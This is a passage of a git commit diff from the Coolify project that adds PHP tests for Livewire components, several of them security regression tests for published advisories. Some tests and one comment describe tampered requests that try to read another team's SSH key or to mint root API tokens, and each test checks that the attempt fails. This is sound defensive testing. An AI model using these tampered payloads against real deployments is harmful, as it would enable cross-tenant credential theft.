Merge remote-tracking branch 'origin/next' into 7552-pr-previews-not-working

This commit is contained in:
Andras Bacsai
2026-06-01 10:35:37 +02:00
229 changed files with 10921 additions and 6194 deletions
@@ -0,0 +1,97 @@
<?php
use App\Livewire\Security\ApiTokens;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Attributes\Locked;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([
'id' => 0,
'is_api_enabled' => true,
]));
$this->team = Team::factory()->create();
});
test('api token permission flags are locked', function (string $property) {
$property = new ReflectionProperty(ApiTokens::class, $property);
expect($property->getAttributes(Locked::class))->not->toBeEmpty();
})->with([
'root permission flag' => 'canUseRootPermissions',
'write permission flag' => 'canUseWritePermissions',
]);
test('member cannot tamper with root permission flag', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('canUseRootPermissions', true);
})->throws(CannotUpdateLockedPropertyException::class);
test('member cannot create root token through tampered permissions payload', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'pwned-root-token')
->set('expiresInDays', 30)
->set('permissions', ['root'])
->call('addNewToken');
expect($member->tokens()->count())->toBe(0);
});
test('member can still create read token', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'read-token')
->set('expiresInDays', 30)
->set('permissions', ['read'])
->call('addNewToken')
->assertHasNoErrors();
$token = $member->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->abilities)->toBe(['read']);
});
test('owner can create root token', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'root-token')
->set('expiresInDays', 30)
->set('permissions', ['root'])
->call('addNewToken')
->assertHasNoErrors();
$token = $owner->tokens()->latest()->first();
expect($token)->not->toBeNull()
->and($token->abilities)->toBe(['root']);
});
@@ -80,11 +80,11 @@ it('checks legacy preview deployment configuration hash using preview environmen
$diff = $application->pendingDeploymentConfigurationDiff();
expect($diff->isLegacyFallback())->toBeTrue()
->and($diff->isChanged())->toBeTrue();
expect($diff->isChanged())->toBeTrue()
->and($diff->count())->toBeGreaterThan(0);
});
it('falls back to legacy configuration hash when no deployment snapshot exists', function () {
it('falls back to real diff against empty snapshot when no deployment snapshot exists', function () {
$application = configurationChangedTestApplication();
$application->isConfigurationChanged(save: true);
@@ -92,6 +92,10 @@ it('falls back to legacy configuration hash when no deployment snapshot exists',
$application->update(['build_command' => 'pnpm build']);
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isLegacyFallback())->toBeTrue()
->and($application->pendingDeploymentConfigurationDiff()->isChanged())->toBeTrue();
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->isLegacyFallback())->toBeFalse()
->and($diff->count())->toBeGreaterThan(0)
->and(collect($diff->changes())->pluck('label')->toArray())->toContain('Build command');
});
@@ -0,0 +1,42 @@
<?php
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
{
$application = new class($serverStatus, $status, $hasAdditionalServers)
{
public function __construct(
public ?bool $server_status,
public string $status,
private bool $hasAdditionalServers,
) {}
public function additional_servers(): object
{
return new class($this->hasAdditionalServers)
{
public function __construct(private bool $exists) {}
public function exists(): bool
{
return $this->exists;
}
};
}
};
return view('livewire.project.application.server-status-badge', [
'application' => $application,
])->render();
}
it('does not show the unreachable server badge when server status is unknown', function () {
$html = renderApplicationServerStatusBadge(null);
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
});
it('shows the unreachable server badge only when server status is false', function () {
$html = renderApplicationServerStatusBadge(false);
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
});
@@ -0,0 +1,127 @@
<?php
use App\Livewire\Project\Application\Source;
use App\Models\Application;
use App\Models\Environment;
use App\Models\GithubApp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
/**
* Create a PrivateKey without firing model events. The PrivateKey `saving`
* hook validates/fingerprints real key material and the `saved` hook writes
* to the filesystem neither is wanted in a unit test. Skipping events also
* skips BaseModel's uuid generation, so the uuid is set explicitly here (it
* is not in $fillable, so it cannot go through mass assignment).
*/
function makePrivateKey(string $name, string $material, string $fingerprint, int $teamId): PrivateKey
{
return PrivateKey::withoutEvents(function () use ($name, $material, $fingerprint, $teamId) {
$key = new PrivateKey([
'name' => $name,
'private_key' => "-----BEGIN OPENSSH PRIVATE KEY-----\n{$material}\n-----END OPENSSH PRIVATE KEY-----",
'fingerprint' => $fingerprint,
'team_id' => $teamId,
]);
$key->uuid = (string) new Cuid2;
$key->save();
return $key;
});
}
beforeEach(function () {
// handleError() turns a ModelNotFoundException into abort(404); rendering the 404
// page reads InstanceSettings::get(), which findOrFail(0)s. Seed the singleton row.
// `id` is not in $fillable, so it must be set outside of mass assignment.
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->save();
}
// Team A — the attacker
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->teamA->members()->attach($this->userA->id, ['role' => 'owner']);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'private_key_id' => null,
'source_id' => null,
'source_type' => null,
]);
// Team B — the victim (holds the secrets we are trying to steal)
$this->teamB = Team::factory()->create();
$this->victimPrivateKey = makePrivateKey('victim-ssh-key', 'VICTIM_KEY_MATERIAL', 'victim-fingerprint', $this->teamB->id);
$this->victimGithubApp = GithubApp::create([
'name' => 'victim-github-app',
'team_id' => $this->teamB->id,
'private_key_id' => $this->victimPrivateKey->id,
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'is_public' => false,
]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('setPrivateKey rejects a PrivateKey owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('setPrivateKey', $this->victimPrivateKey->id);
$this->applicationA->refresh();
expect($this->applicationA->private_key_id)->not->toBe($this->victimPrivateKey->id);
expect($this->applicationA->private_key_id)->toBeNull();
});
test('setPrivateKey accepts a PrivateKey owned by the current team', function () {
$ownKey = makePrivateKey('own-ssh-key', 'OWN_KEY_MATERIAL', 'own-fingerprint', $this->teamA->id);
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('setPrivateKey', $ownKey->id);
$this->applicationA->refresh();
expect($this->applicationA->private_key_id)->toBe($ownKey->id);
});
test('changeSource rejects a GithubApp owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('changeSource', $this->victimGithubApp->id, GithubApp::class);
$this->applicationA->refresh();
expect($this->applicationA->source_id)->not->toBe($this->victimGithubApp->id);
expect($this->applicationA->source_type)->not->toBe(GithubApp::class);
});
test('changeSource rejects an arbitrary class as source_type', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('changeSource', $this->victimGithubApp->id, Server::class);
$this->applicationA->refresh();
expect($this->applicationA->source_type)->not->toBe(Server::class);
});
test('privateKeyId is locked so submit() cannot persist a client-supplied foreign id', function () {
// Without #[Locked], an attacker could POST {"updates": {"privateKeyId": <foreign_id>},
// "calls": [{"method": "submit"}]} and have syncData(true) write the foreign id through
// Application::update(['private_key_id' => $this->privateKeyId]) — bypassing setPrivateKey()
// and its team-scoped lookup entirely. Locking the property closes that path at the wire layer.
Livewire::test(Source::class, ['application' => $this->applicationA])
->set('privateKeyId', $this->victimPrivateKey->id);
})->throws(CannotUpdateLockedPropertyException::class);
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => true]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 50,
'unreachable_notification_sent' => true,
'updated_at' => now()->subDays(8),
]);
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
// IP must be preserved — never overwritten on self-hosted.
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeTrue();
});
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => false]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
@@ -36,6 +59,7 @@ it('does not clean up servers with unreachable_count less than 3', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers updated within 7 days', function () {
@@ -53,6 +77,7 @@ it('does not clean up servers updated within 7 days', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers without notification sent', function () {
@@ -70,4 +95,5 @@ it('does not clean up servers without notification sent', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
@@ -0,0 +1,232 @@
<?php
use App\Actions\Docker\GetContainersStatus;
use App\Livewire\Project\Shared\Destination;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
Queue::fake();
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
// Attacker: Team A
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->destinationA = StandaloneDocker::factory()->create([
'server_id' => $this->serverA->id,
'name' => 'dest-a-'.fake()->unique()->word(),
'network' => 'coolify-a-'.fake()->unique()->word(),
]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]);
// A second usable destination on Team A's own server, used for positive-path tests.
$this->serverA2 = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA2 = StandaloneDocker::factory()->create([
'server_id' => $this->serverA2->id,
'name' => 'dest-a2-'.fake()->unique()->word(),
'network' => 'coolify-a2-'.fake()->unique()->word(),
]);
// Victim: Team B
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create([
'server_id' => $this->serverB->id,
'name' => 'dest-b-'.fake()->unique()->word(),
'network' => 'coolify-b-'.fake()->unique()->word(),
]);
// Act as attacker (Team A)
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
afterEach(function () {
GetContainersStatus::clearFake();
});
describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
test('cannot attach another team\'s server + network to own application', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationB->id, $this->serverB->id);
} catch (Throwable $e) {
// handleError on ModelNotFoundException calls abort(404); pivot assertion is source of truth.
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
expect($this->applicationA->fresh()->additional_servers)->toHaveCount(0);
});
test('cannot attach own network paired with another team\'s server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverB->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('cannot attach another team\'s network paired with own server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationB->id, $this->serverA2->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('cannot attach own network paired with wrong own server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverA->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('can attach own team\'s server + network to own application', function () {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverA2->id);
$additional = $this->applicationA->fresh()->additional_networks;
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA2->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA2->id);
});
});
describe('Destination::promote GHSA-j395-3pqh-9r5g', function () {
test('cannot promote another team\'s network as the application\'s main destination', function () {
$originalDestinationId = $this->applicationA->destination_id;
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationB->id, $this->serverB->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
});
test('cannot promote own network paired with wrong own server', function () {
$originalDestinationId = $this->applicationA->destination_id;
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
});
test('can promote own team network and preserve previous main as additional network', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
$application = $this->applicationA->fresh();
$additional = $application->additional_networks;
expect($application->destination_id)->toBe($this->destinationA2->id);
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
});
test('refresh failures after promote do not roll back promoted destination', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
GetContainersStatus::shouldRun()
->once()
->andThrow(new RuntimeException('refresh failed'));
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
} catch (Throwable $e) {
// The refresh failure is intentionally outside the transaction; persistence is the assertion.
}
$application = $this->applicationA->fresh();
$additional = $application->additional_networks;
expect($application->destination_id)->toBe($this->destinationA2->id);
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
});
test('only detaches the promoted network for the selected pivot server', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA->id)
->exists())->toBeTrue();
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA2->id)
->exists())->toBeFalse();
});
});
describe('Destination::removeServer', function () {
test('only detaches the removed network for the selected pivot server', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('removeServer', $this->destinationA2->id, $this->serverA2->id, 'password');
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA->id)
->exists())->toBeTrue();
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA2->id)
->exists())->toBeFalse();
});
});
+175
View File
@@ -0,0 +1,175 @@
<?php
use App\Livewire\Project\Database\Health;
use App\Models\StandalonePostgresql;
use Illuminate\Auth\Access\AuthorizationException;
it('defaults to an enabled healthcheck when nothing is configured', function () {
$database = new StandalonePostgresql;
expect($database->isHealthcheckEnabled())->toBeTrue();
});
it('builds the compose healthcheck block from the model timing fields', function () {
$database = new StandalonePostgresql([
'health_check_interval' => 30,
'health_check_timeout' => 7,
'health_check_retries' => 4,
'health_check_start_period' => 12,
]);
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config)->toBe([
'test' => ['CMD', 'pg_isready'],
'interval' => '30s',
'timeout' => '7s',
'retries' => 4,
'start_period' => '12s',
]);
});
it('falls back to safe defaults when timing fields are missing', function () {
$database = new StandalonePostgresql;
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config['interval'])->toBe('15s')
->and($config['timeout'])->toBe('5s')
->and($config['retries'])->toBe(5)
->and($config['start_period'])->toBe('5s');
});
it('reports the healthcheck as disabled when the flag is false', function () {
$database = new StandalonePostgresql(['health_check_enabled' => false]);
expect($database->isHealthcheckEnabled())->toBeFalse();
});
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
$enabledDatabase = new StandalonePostgresql([
'health_check_enabled' => true,
'health_check_interval' => 5,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$disabledDatabase = new StandalonePostgresql([
'health_check_enabled' => false,
'health_check_interval' => 15,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$getHashFragment = function () {
return $this->healthCheckConfigurationHash();
};
expect($getHashFragment->call($enabledDatabase))
->toBe('1|5|5|5|5')
->not->toBe($getHashFragment->call($disabledDatabase))
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
});
it('does not mark configuration changed when health update authorization fails', function () {
$database = new class
{
public ?string $config_hash = null;
public int $configurationChangedChecks = 0;
public function isConfigurationChanged(bool $save = false): bool
{
$this->configurationChangedChecks++;
return true;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
throw new AuthorizationException('This action is unauthorized.');
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
};
$component->database = $database;
$component->submit();
expect($database->configurationChangedChecks)->toBe(0)
->and($component->dispatchedEvents)->toBe(['error']);
});
it('toggles database healthcheck and marks configuration changed', function () {
$database = new class
{
public ?string $config_hash = 'existing';
public bool $health_check_enabled = false;
public int $health_check_interval = 15;
public int $health_check_timeout = 5;
public int $health_check_retries = 5;
public int $health_check_start_period = 5;
public int $saveCalls = 0;
public function save(): void
{
$this->saveCalls++;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
return true;
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
public function syncData(bool $toModel = false): void
{
if ($toModel) {
$this->database->health_check_enabled = $this->healthCheckEnabled;
$this->database->save();
}
}
};
$component->database = $database;
$component->healthCheckEnabled = false;
$component->healthCheckInterval = 15;
$component->healthCheckTimeout = 5;
$component->healthCheckRetries = 5;
$component->healthCheckStartPeriod = 5;
$component->toggleHealthcheck();
expect($database->health_check_enabled)->toBeTrue()
->and($database->saveCalls)->toBe(1)
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
});
@@ -1,7 +1,8 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
use App\Support\ValidationPatterns;
use Livewire\Attributes\Locked;
describe('container name validation', function () {
test('isValidContainerName accepts valid container names', function () {
@@ -45,43 +46,43 @@ describe('container name validation', function () {
describe('locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'container');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('serverId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'serverId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'serverId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceUuid property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceUuid');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceDbType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceDbType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
@@ -89,7 +90,7 @@ describe('locked properties', function () {
describe('server method uses team scoping', function () {
test('server computed property calls ownedByCurrentTeam', function () {
$method = new ReflectionMethod(Import::class, 'server');
$method = new ReflectionMethod(ImportForm::class, 'server');
// Extract the server method body
$startLine = $method->getStartLine();
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
});
});
describe('Import component uses shared ValidationPatterns', function () {
describe('ImportForm component uses shared ValidationPatterns', function () {
test('runImport references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'runImport');
$method = new ReflectionMethod(ImportForm::class, 'runImport');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
});
test('restoreFromS3 references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -0,0 +1,20 @@
<?php
it('declares explicit authorization on database import form controls', function () {
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
preg_match_all(
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
$view,
$matches,
PREG_OFFSET_CAPTURE
);
$missingAuthorization = collect($matches[0])
->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
->values()
->all();
expect($missingAuthorization)->toBeEmpty();
});
@@ -0,0 +1,74 @@
<?php
/*
* Verifies the opt-in read/write replica split in config/database.php.
* The config file is re-required under different putenv() states so the
* env() calls re-evaluate, then the resulting pgsql array shape is asserted.
*/
function loadDbConfig(): array
{
return require base_path('config/database.php');
}
afterEach(function () {
foreach ([
'DB_READ_HOST', 'DB_READ_PORT', 'DB_READ_USERNAME', 'DB_READ_PASSWORD',
'DB_WRITE_HOST', 'DB_WRITE_PORT', 'DB_WRITE_USERNAME', 'DB_WRITE_PASSWORD',
'DB_STICKY',
] as $key) {
putenv($key);
}
});
it('has no replica keys when DB_READ_HOST is unset', function () {
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql)
->not->toHaveKey('read')
->not->toHaveKey('write')
->not->toHaveKey('sticky')
->and($pgsql['driver'])->toBe('pgsql');
});
it('enables the read/write split when DB_READ_HOST is set', function () {
putenv('DB_READ_HOST=replica1, replica2');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql)
->toHaveKey('read')
->toHaveKey('write')
->and($pgsql['read']['host'])->toBe(['replica1', 'replica2'])
->and($pgsql['sticky'])->toBeTrue();
});
it('falls back to DB_* values for unset replica options', function () {
putenv('DB_READ_HOST=replica1');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['read']['port'])->toBe(env('DB_PORT', '5432'))
->and($pgsql['read']['username'])->toBe(env('DB_USERNAME', 'coolify'))
->and($pgsql['write']['host'])->toBe([env('DB_HOST', 'coolify-db')]);
});
it('respects discrete replica overrides', function () {
putenv('DB_READ_HOST=replica1');
putenv('DB_READ_PORT=6432');
putenv('DB_READ_USERNAME=reader');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['read']['port'])->toBe('6432')
->and($pgsql['read']['username'])->toBe('reader');
});
it('disables sticky reads when DB_STICKY is false', function () {
putenv('DB_READ_HOST=replica1');
putenv('DB_STICKY=false');
$pgsql = loadDbConfig()['connections']['pgsql'];
expect($pgsql['sticky'])->toBeFalse();
});
+223 -11
View File
@@ -1,17 +1,37 @@
<?php
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
use App\Livewire\Project\Application\ServerStatusBadge;
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
use App\Livewire\Project\Database\Import as DatabaseImport;
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
use App\Livewire\Server\Sentinel;
use App\Livewire\Server\Show;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\StandaloneDocker;
use App\Models\StandaloneMysql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -28,25 +48,159 @@ beforeEach(function () {
session(['currentTeam' => $this->team]);
});
dataset('ssl-aware-database-general-components', [
dataset('database-general-forms-without-broadcasts', [
// Status-derived display moved into a sibling StatusInfo component for each DB,
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
// by absorbing deferred wire:model values during a status-triggered roundtrip.
RedisGeneral::class,
PostgresqlGeneral::class,
MysqlGeneral::class,
MariadbGeneral::class,
MongodbGeneral::class,
RedisGeneral::class,
PostgresqlGeneral::class,
KeydbGeneral::class,
DragonflyGeneral::class,
ClickhouseGeneral::class,
DatabaseImportForm::class,
ServiceConfiguration::class,
ApplicationConfiguration::class,
]);
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
$component = app($componentClass);
$listeners = $component->getListeners();
dataset('database-status-info-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
]);
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
})->with('ssl-aware-database-general-components');
dataset('display-only-status-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
